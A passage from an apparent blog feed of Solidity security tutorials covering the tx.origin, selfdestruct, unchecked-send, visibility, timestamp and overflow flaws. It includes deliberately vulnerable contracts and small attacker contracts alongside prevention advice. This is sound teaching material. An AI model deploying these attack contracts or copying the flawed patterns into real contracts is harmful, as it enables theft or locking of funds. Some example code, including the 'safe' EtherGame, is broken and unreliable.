&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PZZ9-dhr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w25fhthz34c6dl85d8f7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PZZ9-dhr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w25fhthz34c6dl85d8f7.jpg" alt="ethernaut level 1" width="522" height="57"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's call the &lt;code&gt;withdraw&lt;/code&gt; function to get all ethers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TY2Fwg1B--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gs0qb4esaxx2ptto7qqj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TY2Fwg1B--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gs0qb4esaxx2ptto7qqj.jpg" alt="ethernaut fallback" width="880" height="64"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you check the contract balance you will see that it is 0. So we achieved the second goal.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ZI4XJD6D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6h46t03fz3k5nhgo5yxm.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ZI4XJD6D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6h46t03fz3k5nhgo5yxm.jpg" alt="ethernaut level 1 fallback" width="621" height="55"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>smartcontract</category>
      <category>blockchain</category>
      <category>security</category>
    </item>
    <item>
      <title>Hack Solidity: Unchecked Call Return Value</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Mon, 17 Jan 2022 06:18:11 +0000</pubDate>
      <link>https://dev.to/kamilpolak/hack-solidity-unchecked-call-return-value-7og</link>
      <guid>https://dev.to/kamilpolak/hack-solidity-unchecked-call-return-value-7og</guid>
      <description>&lt;p&gt;The main idea behind this type of vulnerability is that the return value of a message call is not checked. As a result, execution will resume even if the called contract throws an exception. If the call fails accidentally or an attacker forces the call to fail, this may cause unexpected behavior in the subsequent program logic.&lt;/p&gt;

&lt;p&gt;In Solidity you can use a few low-level call methods that work on raw addresses: &lt;code&gt;call&lt;/code&gt;, &lt;code&gt;callcode&lt;/code&gt;, &lt;code&gt;delegatecall&lt;/code&gt;, and &lt;code&gt;send&lt;/code&gt;. These low-level methods never throw an exception but will return false if the call encounters an exception.&lt;/p&gt;

&lt;p&gt;Let's look at the example derived from &lt;a href="https://blog.sigmaprime.io/solidity-security.html#short-address"&gt;Sigmaprime&lt;/a&gt; blog.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this simple contract, the bug exists where a &lt;code&gt;send&lt;/code&gt; is used without checking the response. If a winner's transaction fails it allows &lt;code&gt;payedOut&lt;/code&gt; to be set to true (regardless of whether ether was sent or not). In this case, the public can withdraw the winner's winnings using the &lt;code&gt;withdrawLeftOver&lt;/code&gt; function.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent Unchecked Call Return Value
&lt;/h2&gt;

&lt;p&gt;It is recommended to use the &lt;code&gt;transfer&lt;/code&gt; function rather than &lt;code&gt;send&lt;/code&gt;. This is because &lt;code&gt;transfer&lt;/code&gt; will revert if the external transaction reverts.&lt;/p&gt;

&lt;p&gt;If you choose to use the low-level call methods, make sure to handle the possibility that the call will fail, by checking the return value.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://consensys.github.io/smart-contract-best-practices/recommendations/#handle-errors-in-external-calls"&gt;https://consensys.github.io/smart-contract-best-practices/recommendations/#handle-errors-in-external-calls&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://swcregistry.io/docs/SWC-104"&gt;https://swcregistry.io/docs/SWC-104&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://blog.sigmaprime.io/solidity-security.html#short-address"&gt;https://blog.sigmaprime.io/solidity-security.html#short-address&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>smartcontract</category>
      <category>blockchain</category>
      <category>security</category>
    </item>
    <item>
      <title>Hack Solidity: Visibilities</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Sun, 16 Jan 2022 05:34:50 +0000</pubDate>
      <link>https://dev.to/kamilpolak/hack-solidity-visibilities-58am</link>
      <guid>https://dev.to/kamilpolak/hack-solidity-visibilities-58am</guid>
      <description>&lt;p&gt;In Solidity you can specify the visibility of your function, i.e. to determine whether a function can be called externally by users, by other derived contracts, only internally or only externally.&lt;/p&gt;

&lt;p&gt;By default, the function is &lt;code&gt;public&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;As described in the Solidity Documentation there are four types of visibility for functions and state variables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;external&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;public&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;internal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;private&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;External functions are part of the contract interface, which means they can be called from other contracts and via transactions. Note, an external function cannot be called internally.&lt;/p&gt;

&lt;p&gt;Public functions are part of the contract interface and can be either called internally or via messages. &lt;/p&gt;

&lt;p&gt;Internal functions and state variables can only be accessed internally (i.e. from within the current contract or contracts deriving from it), without using &lt;code&gt;this&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Private functions and state variables are only visible for the contract they are defined in and not in derived contracts.&lt;/p&gt;

&lt;p&gt;The problem with the visibility is that if you do not specify the desired type function that should be &lt;code&gt;private&lt;/code&gt; will be &lt;code&gt;public&lt;/code&gt;, and thus can be called by unauthorised people.  &lt;/p&gt;

&lt;p&gt;Let's look at the exapmle.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HashForEther {

    function withdraw() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _send() {
         msg.sender.transfer(this.balance);
     }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a simple game where to win the balance a user must generate an Ethereum address whose last 8 hex characters are 0.&lt;/p&gt;

&lt;p&gt;As you can see the visibility of the &lt;code&gt;_send&lt;/code&gt; function has not been specified. As a result, anyone can call this function (default mode is &lt;code&gt;public&lt;/code&gt;) and get the balance.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventative techniques
&lt;/h2&gt;

&lt;p&gt;Since all the default visibility for functions is &lt;code&gt;public&lt;/code&gt; it is recommended to always specify the visibility of all functions in a contract, even if they are intentionally &lt;code&gt;public&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://docs.soliditylang.org/en/latest/contracts.html?highlight=library#visibility-and-getters"&gt;https://docs.soliditylang.org/en/latest/contracts.html?highlight=library#visibility-and-getters&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://blog.sigmaprime.io/solidity-security.html#visibility"&gt;https://blog.sigmaprime.io/solidity-security.html#visibility&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>blockchain</category>
      <category>security</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Hack Solidity: Tx Origin Attacks</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Sat, 15 Jan 2022 09:48:54 +0000</pubDate>
      <link>https://dev.to/kamilpolak/hack-solidity-tx-origin-attacks-32co</link>
      <guid>https://dev.to/kamilpolak/hack-solidity-tx-origin-attacks-32co</guid>
      <description>&lt;p&gt;&lt;code&gt;tx.origin&lt;/code&gt; is a global variable in Solidity which returns the address of the account that sent the transaction.&lt;/p&gt;

&lt;p&gt;Contracts that use the &lt;code&gt;tx.origin&lt;/code&gt; to authorize users are vulnerable to phishing attacks. How?&lt;/p&gt;

&lt;p&gt;Let’s say, a call could be made to the vulnerable contract that passes the authorization check since &lt;code&gt;tx.origin&lt;/code&gt; returns the original sender of the transaction which in this case is the authorized account.&lt;/p&gt;

&lt;p&gt;Let's look at the example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner);

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I created two contracts: &lt;code&gt;Wallet&lt;/code&gt; that stores and withdraws funds, and &lt;code&gt;Attack&lt;/code&gt; which is a contract made by an attacker who wants to attack the first contract. &lt;/p&gt;

&lt;p&gt;Note that the contract authorizes the &lt;code&gt;transfer&lt;/code&gt; function using &lt;code&gt;tx.origin&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Now, if the owner of the &lt;code&gt;Wallet&lt;/code&gt; contract sends a transaction with enough gas to the &lt;code&gt;Attack&lt;/code&gt; address, it will invoke the fallback function, which in turn calls the &lt;code&gt;transfer&lt;/code&gt; function of the &lt;code&gt;Wallet&lt;/code&gt; contract with the parameter attacker. &lt;/p&gt;

&lt;p&gt;As a result, all funds from the &lt;code&gt;Wallet&lt;/code&gt; contract will be withdrawn to the attacker's address. This is because the address that first initialized the call was the victim (i.e., the owner of the &lt;code&gt;Wallet&lt;/code&gt; contract). &lt;/p&gt;

&lt;p&gt;Therefore, &lt;code&gt;tx.origin&lt;/code&gt; will be equal to the owner and the &lt;code&gt;require&lt;/code&gt; on will pass.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent Tx Origin attacks
&lt;/h2&gt;

&lt;p&gt;The best way to prevent Tx Origin attacks is not to use the &lt;code&gt;tx.origin&lt;/code&gt; for authentication purposes. Instead, it is advisable to use &lt;code&gt;msg.sender&lt;/code&gt; (see below)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function transfer(address payable _to, uint256 _amount) public {
  require(msg.sender == owner);

  (bool sent, ) = _to.call.value(_amount)("");
  require(sent, "Failed to send Ether");
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://solidity-by-example.org/hacks/phishing-with-tx-origin/"&gt;https://solidity-by-example.org/hacks/phishing-with-tx-origin/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514"&gt;https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://blog.sigmaprime.io/solidity-security.html#tx-origin"&gt;https://blog.sigmaprime.io/solidity-security.html#tx-origin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>samrtcontract</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Hack Solidity: Block Timestamp Manipulation</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Fri, 14 Jan 2022 14:16:05 +0000</pubDate>
      <link>https://dev.to/kamilpolak/hack-solidity-block-timestamp-manipulation-1mbg</link>
      <guid>https://dev.to/kamilpolak/hack-solidity-block-timestamp-manipulation-1mbg</guid>
      <description>&lt;p&gt;Timestamp provides information about the date and time in which the block is mined. When you go e.g. to the etherscan you can find a timestamp for each block that was mined.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkeu46x9iegle43q12hm9.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkeu46x9iegle43q12hm9.jpg" alt="timestamp solidity"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Block timestamp can be manipulated by miners a then used to their advantage to attack a smart contract.&lt;/p&gt;

&lt;p&gt;Let's go into details of how this could happen using the contract below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Roulette {
    uint public pastBlockTime;

    constructor() payable {}

    function spin() external payable {
        require(msg.value == 5 ether); // player must send 5 ether to play
        require(block.timestamp != pastBlockTime); // only 1 transaction per block

        pastBlockTime = block.timestamp;
 // if the block.timestamp is divisible by 7 you win the Ether in the contract
        if (block.timestamp % 7 == 0) {
            (bool sent, ) = msg.sender.call{value: address(this).balance}("");
            require(sent, "Failed to send Ether");
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I created a simple game where a player can win all of the Ether in the contract if he submits a transaction at a specific time. &lt;/p&gt;

&lt;p&gt;To join the game player need to send 5 ether. To play the game player call the &lt;code&gt;spin&lt;/code&gt; function. If the block.timestamp is divisible by 7 player win all the Ether in the contract.&lt;/p&gt;

&lt;p&gt;The miner that wants to win all of the Ethers can manipulate the contract. To do so he can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;call the &lt;code&gt;spin&lt;/code&gt; function and submit 5 Ether to enter the game&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;submit a &lt;code&gt;block.timestamp&lt;/code&gt; for the next block that is divisible by 7&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How to prevent block timestamp attacks
&lt;/h2&gt;

&lt;p&gt;There are two ways to prevent block timestamp attacks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;do not use block.timestamp in your contract&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;apply the 15-second rule which says that &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;If the scale of your time-dependent event can vary by 15 seconds and maintain integrity, it is safe to use a &lt;code&gt;block.timestamp&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://consensys.github.io/smart-contract-best-practices/recommendations/#the-15-second-rule" rel="noopener noreferrer"&gt;https://consensys.github.io/smart-contract-best-practices/recommendations/#the-15-second-rule&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://solidity-by-example.org/hacks/block-timestamp-manipulation/" rel="noopener noreferrer"&gt;https://solidity-by-example.org/hacks/block-timestamp-manipulation/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://cryptomarketpool.com/block-timestamp-manipulation-attack/" rel="noopener noreferrer"&gt;https://cryptomarketpool.com/block-timestamp-manipulation-attack/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://blog.sigmaprime.io/solidity-security.html#block-timestamp" rel="noopener noreferrer"&gt;https://blog.sigmaprime.io/solidity-security.html#block-timestamp&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>blockchain</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Hack Solidity: Self Destruct</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Thu, 13 Jan 2022 04:02:13 +0000</pubDate>
      <link>https://dev.to/kamilpolak/hack-solidity-self-destruct-59i9</link>
      <guid>https://dev.to/kamilpolak/hack-solidity-self-destruct-59i9</guid>
      <description>&lt;p&gt;The &lt;code&gt;selfdestruct(address)&lt;/code&gt; function, removes all bytecode from the contract address and sends all ether stored to the specified address. If this specified address is also a contract, no functions (including the fallback) get called.&lt;/p&gt;

&lt;p&gt;In other words, an attacker can create a contract with a &lt;code&gt;selfdestruct()&lt;/code&gt; function, send ether to it, call &lt;code&gt;selfdestruct(target)&lt;/code&gt; and force ether to be sent to a target.&lt;/p&gt;

&lt;p&gt;Let's see how this attack can look like. We create a simple smart contract. Note: I created this contract based on &lt;a href="https://solidity-by-example.org/hacks/self-destruct/"&gt;Solidity by example&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;



contract EtherGame {
    uint public targetAmount = 5 ether;
    address public winner;

    function play() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance &amp;lt;= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {

        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This contract represents a simple game whereby players send 1 ether to the contract hoping to be the one that reaches the threshold equal 5 eth. When the 5 eth will be reached the game is ended and the first player who reaches the milestone may claim a reward.&lt;/p&gt;

&lt;p&gt;In this case, an attacker can e.g. send to the contract 5 eth or any other value that push the contract's balance above the threhshold. This would lock all rewards in the contract forever. &lt;/p&gt;

&lt;p&gt;This is because our if statement in the function &lt;code&gt;play()&lt;/code&gt; checks if the winner's balance is equal 5 eth. &lt;/p&gt;

&lt;h2&gt;
  
  
  Preventative Techniques
&lt;/h2&gt;

&lt;p&gt;This vulnerability arises from the misuse of &lt;code&gt;this.balance&lt;/code&gt;. Your contract should avoid being dependent on the exact values of the balance of the contract because it can be artificially manipulated. &lt;/p&gt;

&lt;p&gt;If exact values of deposited ether are required, a self-defined variable should be used that gets incremented in payable functions, to safely track the deposited ether. This can prevent your contract to be influenced by the forced ether sent via a &lt;code&gt;selfdestruct()&lt;/code&gt; call.&lt;/p&gt;

&lt;p&gt;Let's see how the safe version of the contract looks like.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;



contract EtherGame {
    uint public targetAmount = 5 ether;
    address public winner;
    uint public balance;

    function play() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance += msg.value;
        require(balance &amp;lt;= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {

        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, we no longer have any reference to &lt;code&gt;this.balance&lt;/code&gt;. Instead, we have created a new variable, &lt;code&gt;balance&lt;/code&gt; which keeps tracking of the current amount of eth.&lt;/p&gt;

&lt;h3&gt;
  
  
  Source
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://solidity-by-example.org/hacks/self-destruct/"&gt;https://solidity-by-example.org/hacks/self-destruct/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://blog.sigmaprime.io/solidity-security.html#ether"&gt;https://blog.sigmaprime.io/solidity-security.html#ether&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>smartcontract</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Integer Overflow and Underflow in Solidity</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Tue, 11 Jan 2022 03:59:24 +0000</pubDate>
      <link>https://dev.to/kamilpolak/integer-overflow-and-underflow-in-solidity-3j7h</link>
      <guid>https://dev.to/kamilpolak/integer-overflow-and-underflow-in-solidity-3j7h</guid>
      <description>&lt;h2&gt;
  
  
  What do overflow and underflow mean?
&lt;/h2&gt;

&lt;p&gt;In simple words, overflow is a situation when uint (unsigned integer) reaches its byte size. Then the next element added will return the first variable element.&lt;/p&gt;

&lt;p&gt;Let’s say we have a uint8, which can only have 8 bits. That means the largest number we can store is binary 11111111 (in decimal 2^8 - 1 = 255)&lt;/p&gt;

&lt;p&gt;Look at the code below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uint8 balance = 255;
balance++;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you execute the code above the "balance" will be 0. This is a simple example of overflow. If you add 1 to binary 11111111, it resets back to 00000000.&lt;/p&gt;

&lt;p&gt;In case of underflow, if you subtract 1 from a uint8 that is 0, it will change the value to 255.&lt;/p&gt;

&lt;p&gt;Now I show you a simple implementation of underflow in Solidity. &lt;br&gt;
Let's create a simple smart contract called "ChangeBalance.sol". We're going to use Solidity 0.7 for this example because Solidity 0.8 was secured.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity 0.7.0;

contract ChangeBalance {
    uint8 public balance;

    function decrease() public {
        balance--;
    }

    function increase() public {
        balance++;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfzc4uprstpif796mlnk.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfzc4uprstpif796mlnk.jpg" alt="Integer Overflow and Underflow in Solidity"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's compile and deploy the smart contract. As you can see the initial balance is 0.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv184tceguzakvj5ydsnr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv184tceguzakvj5ydsnr.jpg" alt="Integer Overflow and Underflow in Solidity"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you press the "decrease" button, then the "balance" is decremented by one. Let's see what happen next.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3zt0sgxcnd5gadojocd3.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3zt0sgxcnd5gadojocd3.jpg" alt="underflow in solidity"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see the updated balance is now 255.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to avoid overflow and underflow in Solidity?
&lt;/h2&gt;

&lt;p&gt;The easiest way is to use at least a 0.8 version of the Solidity compiler. In Solidity 0.8, the compiler will automatically take care of checking for overflows and underflows.&lt;/p&gt;

&lt;p&gt;Let me show you how it works in practice. To do that I will change the compiler version and deploy a new contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity 0.8.0;

contract ChangeBalance {
    uint8 public balance;

    function decrease() public {
        balance--;
    }

    function increase() public {
        balance++;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Initial balance is the same, i.e. 0. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4n4glzumw1ck2l0xz6z4.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4n4glzumw1ck2l0xz6z4.jpg" alt="underflow in solidity"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's see what happened when we hit "decrease". Now you will get an error in the Remix console.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh03hewgfwryudz3zzunm.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh03hewgfwryudz3zzunm.jpg" alt="underflow in solidity&amp;lt;br&amp;gt;
"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>smartcotract</category>
      <category>ethereum</category>
      <category>security</category>
    </item>
    <item>
      <title>Reentrancy Attack in Solidity Smart Contract</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Sun, 09 Jan 2022 15:55:02 +0000</pubDate>
      <link>https://dev.to/kamilpolak/reentrancy-attack-in-solidity-smart-contract-4kni</link>
      <guid>https://dev.to/kamilpolak/reentrancy-attack-in-solidity-smart-contract-4kni</guid>
      <description>&lt;p&gt;Reentrancy attack is one of the most destructive attacks in Solidity smart contract. A reentrancy attack occurs when a function makes an external call to another untrusted contract. Then the untrusted contract makes a recursive call back to the original function in an attempt to drain funds. &lt;/p&gt;

&lt;p&gt;When the contract fails to update its state prior to sending funds the attacker can continuously call the withdraw function to drain the contract’s funds. A famous real-world Reentrancy attack is the DAO attack which caused a loss of 60 million US dollars&lt;/p&gt;

&lt;h2&gt;
  
  
  Is the reentrancy attack still a significant problem?
&lt;/h2&gt;

&lt;p&gt;Although reentrancy attack is considered quite old over the past two years there have been cases such as:&lt;/p&gt;

